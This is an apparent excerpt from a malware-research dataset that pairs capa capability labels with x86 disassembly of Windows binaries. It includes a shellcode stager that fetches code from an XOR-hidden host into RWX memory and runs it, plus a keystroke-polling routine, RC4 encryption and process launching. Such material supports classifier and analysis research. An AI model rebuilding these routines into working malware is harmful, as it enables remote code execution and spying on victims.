joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401183
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Create tcp socket
Encode data using xor
Execute shellcode via indirect call
Resolve dns
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
call fcn.00401000
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x4033b4], eax
je 0x4012bc
push 0x40
push 0x3000
push 0x4db94
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x4033b8], eax
jne 0x4011cd
push eax
call dword [sym.imp.MSVCRT.dll_exit]
xor eax, eax
xor byte [eax + str.RSPMRWVMRZRMRQPccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc], 0x63
inc eax
cmp eax, 0x38c
jb 0x4011cf
mov esi, dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
push edi
push str.RSPMRWVMRZRMRQPccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
call esi
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov ebx, eax
mov ax, word [0x40313c]
mov word [ebp - 0x1c], 2
push eax
call edi
mov word [ebp - 0x1a], ax
mov eax, dword [ebx + 0xc]
mov ebx, dword [sym.imp.WS2_32.dll_connect]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push dword [0x4033b4]
call ebx
cmp eax, 0xffffffff
jne 0x401263
push str.RSPMRWVMRZRMRQPccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
call esi
mov dword [ebp - 4], eax
mov ax, word [0x40313c]
push eax
mov word [ebp - 0x1c], 2
call edi
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 4]
push 0x10
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push dword [0x4033b4]
jmp 0x401224
push 0x4033b8
push 0x4010c7
call dword [0x4033b0]
and byte [ebp - 6], 0
mov esi, eax
push 0
lea eax, [ebp - 0xc]
push 7
push eax
push dword [0x4033b4]
mov byte [ebp - 0xc], 0x47
mov byte [ebp - 0xb], 0x45
mov byte [ebp - 0xa], 0x54
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x4f
mov byte [ebp - 7], 0x44
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop ebx
test eax, eax
jg 0x4012b3
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
pop esi
leave
ret 0x10
Function at 0x418d50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
dec eax
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x420b80], ecx
inc edx
cmp edx, 0x100
jb 0x418d52
cmp edx, 0x800
jae 0x418e29
lea esp, [esp]
mov eax, dword [edx*4 + 0x420780]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x420b80]
inc edx
mov dword [edx*4 + 0x420b7c], eax
cmp edx, 0x800
jb 0x418e00
mov eax, 0x419630
mov dword [0x420b74], eax
mov dword [0x422b80], eax
mov dword [0x420b70], 0x419550
call fcn.00419060
test eax, eax
jne 0x418e55
mov dword [0x422b80], 0x419550
ret

Function at 0x4a3a38
Capabilities:
Encode data using xor

Disassembly:
push edx
insd dword es:[edi], dx
cmc
or dh, ch
xchg ecx, eax
inc ebp
xor dword [ebx], esi
pop ebx
dec eax
or al, 0xa3
inc ebp
scasd eax, dword es:[edi]
jl 0x4a3a3b
pushal
push ecx
adc dword [ebp + 0x44], edi
insd dword es:[edi], dx
pop es
cmp dword [edi + 0x6f45912d], esi
in eax, dx
invalid

Function at 0x6243fc
Capabilities:
Encode data using xor

Disassembly:
cli
add dh, byte [ebx + 0x77b28f39]
push esi
mov byte [ecx], dl
push 0xb8ef7e9f
xor ebp, dword [esi - 0x4aa48e13]
scasb al, byte es:[edi]
in eax, dx
jno 0x62445b
mov ch, 0xfc
Function at 0x10017469
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0x1001751c
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]

Function at 0x1002a110
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10093ff0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.10089432
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.1002ce80
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x1002a164
jmp dword [ecx*4 + 0x1002a2cc]
mov al, byte [esi]
test al, al
je 0x1002a192
cmp al, 0x20
je 0x1002a17e
cmp al, 0xa1
jne 0x1002a192
cmp byte [esi + 1], al
jne 0x1002a192
test al, 0x80
je 0x1002a18a
mov al, byte [esi + 1]
inc esi
test al, al
je 0x1002a192
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1002a171
test ecx, ecx
je case.default.0x1002a164
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x1002a164
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x1002a1d8
cmp dl, 0xa1
jne 0x1002a1cc
cmp byte [eax + 1], 0xa1
jne 0x1002a1cc
test ecx, ecx
jne 0x1002a1c4
mov edi, eax
mov ecx, 1
inc eax
jmp 0x1002a1ec
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x1002a206
jmp 0x1002a1ec
cmp dl, 0x20
jne 0x1002a1ea
test ecx, ecx
jne 0x1002a1e3
mov edi, eax
mov ecx, 1
jmp 0x1002a1ec
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x1002a1ac
cmp ecx, 1
jne case.default.0x1002a164
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1002a164
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1002a164
mov al, byte [esi]
test al, al
je 0x1002a25e
test al, 0x80
mov byte [esp + 0x3c], al
je 0x1002a244
mov cl, byte [esi + 1]
test cl, cl
je 0x1002a25e
cmp al, 0xa1
jne 0x1002a234
cmp cl, al
je 0x1002a241
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.1002d150
inc esi
jmp 0x1002a256
cmp al, 0x20
je 0x1002a256
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.1002d190
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1002a21d
push 0
lea ecx, [esp + 0x14]
call fcn.1002d190
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1003a630
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x1002a291
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x100a6850
call fcn.1002d080
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.100893c4
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x100347f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x1009480b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.10089139
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x10034872
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.10087050
mov eax, dword [eax]
push 0x100b6234
push eax
call fcn.10079cd4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.100893c4
test bl, bl
je 0x10034872
push 0x100b6234
lea ecx, [esp + 0xc]
call fcn.10089754
push 0x100b9da4
lea ecx, [esp + 0xc]
call fcn.10089754
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x100348ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.100893c4
jmp 0x10034979
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x10034932
lea edx, [esp + 0x7c]
push 0x100b9da0
push edx
call fcn.10079cd4
add esp, 8
test eax, eax
je 0x10034932
lea eax, [esp + 0x7c]
push 0x100b9d9c
push eax
call fcn.10079cd4
add esp, 8
test eax, eax
je 0x10034932
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100348c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.100893c4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x10035170
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x100351d2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x100351e0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x1009488b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x100c06ec]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x10035318
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x10035246
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.100893c4
xor eax, eax
jmp 0x1003538f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.10089501
push esi
lea ecx, [esp + 0xc]
call fcn.10089790
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x1003536d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.10035170
test eax, eax
jne 0x1003536d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.10035170
test eax, eax
jne 0x1003536d
lea eax, [esp + 0x14]
push 0x100b9db8
push eax
call fcn.1007ade0
mov esi, eax
add esp, 8
test esi, esi
jne 0x1003534c
lea ecx, [esp + 0x14]
push 0x100b9db4
push ecx
call fcn.1007ad60
mov esi, eax
add esp, 8
test esi, esi
jne 0x1003534c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x1003534f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.100894b1
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x1003525e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.100893c4
xor eax, eax
jmp 0x1003538f
mov byte [esi], 0
push 0x100b9db0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.100893c4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x100460e0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x1004614e
cmp si, 0x69
ja 0x1004614e
add esi, 0xffd0
cmp si, 0x11
je 0x1004611e
push 0x11
call edi
test ax, ax
jge 0x1004611e
or esi, 0x2000
cmp si, 0x10
je 0x10046133
push 0x10
call edi
test ax, ax
jge 0x10046133
or esi, 0x4000
cmp si, 0x12
je 0x10046148
push 0x12
call edi
test ax, ax
jge 0x10046148
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x1004615b
mov esi, 0xbd
jmp 0x1004610f
cmp si, 0x6e
jne 0x10046168
mov esi, 0xbe
jmp 0x1004610f
cmp si, 0x6f
jne 0x10046109
mov esi, 0xbf
jmp 0x1004610f

Function at 0x10047910
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x100d0fb0]
xor edx, edx
cmp eax, edx
jne 0x10047936
xor eax, eax
mov byte [eax + 0x100d0eb0], al
inc eax
cmp eax, 0x100
jl 0x1004791e
mov dword [0x100d0fb0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x100d0eb0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x100479c7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x1004799a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x10047968
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x10047a40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x10047a93
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x10047a7a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1004e4d0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x1004e668
cmp ebp, ebx
jle 0x1004e668
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x1004e52e
dec eax
or eax, 0xfffffff8
inc eax
je 0x1004e535
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x1004e544
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x1004e54b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.10089105
add esp, 4
cmp eax, ebx
je 0x1004e56c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.10089105
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x1004e65e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x1004e645
mov al, byte [edx]
cmp al, 0xc0
jbe 0x1004e631
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x1004e626
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x1004e634
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x1004e634
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x1004e5d0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x1004e5c1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret

Function at 0x100505e0
Capabilities:
Get socket status

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x10c
test eax, eax
jge 0x100505fa
mov eax, 1
add esp, 0x10c
ret
mov ecx, dword [esp + 0x110]
lea edx, [esp]
mov dword [esp], eax
push edx
lea eax, [esp + 0xc]
push 0
push eax
push 0
push 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0
call dword [sym.imp.WS2_32.dll_select]
dec eax
neg eax
sbb eax, eax
inc eax
add esp, 0x10c
ret
Function at 0x10050640
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
cmp eax, 0xffffffff
push edi
je 0x100506aa
mov edi, dword [esp + 0x1c]
test edi, edi
jl 0x100506aa
jne 0x10050661
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
mov ecx, dword [esp + 0x20]
push ecx
push eax
call fcn.100505e0
add esp, 8
test eax, eax
je 0x100506aa
xor esi, esi
test edi, edi
jle 0x100506a0
mov ebx, dword [esp + 0x18]
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esp + 0x14]
mov edx, edi
sub edx, esi
push 0
lea eax, [esi + ebx]
push edx
push eax
push ecx
call ebp
cmp eax, 0xffffffff
je 0x100506aa
add esi, eax
cmp esi, edi
jl 0x10050683
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x100506c0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.1008a99c
lea eax, [esp + 4]
mov dword [esi], method.CWnd.virtual_0
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
mov dword [esi + 0x44], 0x4d12
inc eax
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], eax
mov eax, esi
pop esi
add esp, 0x190
ret

Function at 0x10050840
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
je 0x100508c7
cmp byte [esi], 0
je 0x100508c7
mov ebx, dword [esp + 0xc]
xor eax, eax
mov ecx, ebx
mov edx, dword [esp + 0x14]
push edx
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebx + 2], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100508b5
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100508c7
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
push edi
lea edi, [ebx + 4]
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
pop edi
mov word [ebx], ax
pop esi
mov eax, 1
pop ebx
ret 0xc
mov dword [ebx + 4], eax
mov word [ebx], 2
pop esi
mov eax, 1
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x10050aa0
Capabilities:
Connect socket

Disassembly:
sub esp, 0x10
push esi
mov esi, ecx
mov eax, dword [esi]
call dword [eax + 0xbc]
test eax, eax
je 0x10050b12
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
call fcn.10050840
test eax, eax
je 0x10050b12
mov edx, dword [esi + 0x40]
lea ecx, [esp + 4]
push 0x10
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10050b0b
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x40]
push 0x21
push 0x8078
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
je 0x10050b0b
mov eax, 1
mov dword [esi + 0x48], eax
pop esi
add esp, 0x10
ret 8
mov ecx, esi
call fcn.10050a70
xor eax, eax
pop esi
add esp, 0x10
ret 8
Function at 0x10051b20
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10095e18
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x10051b59
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.10090af6
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.10090b42
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.10051be0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.10090b7f
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24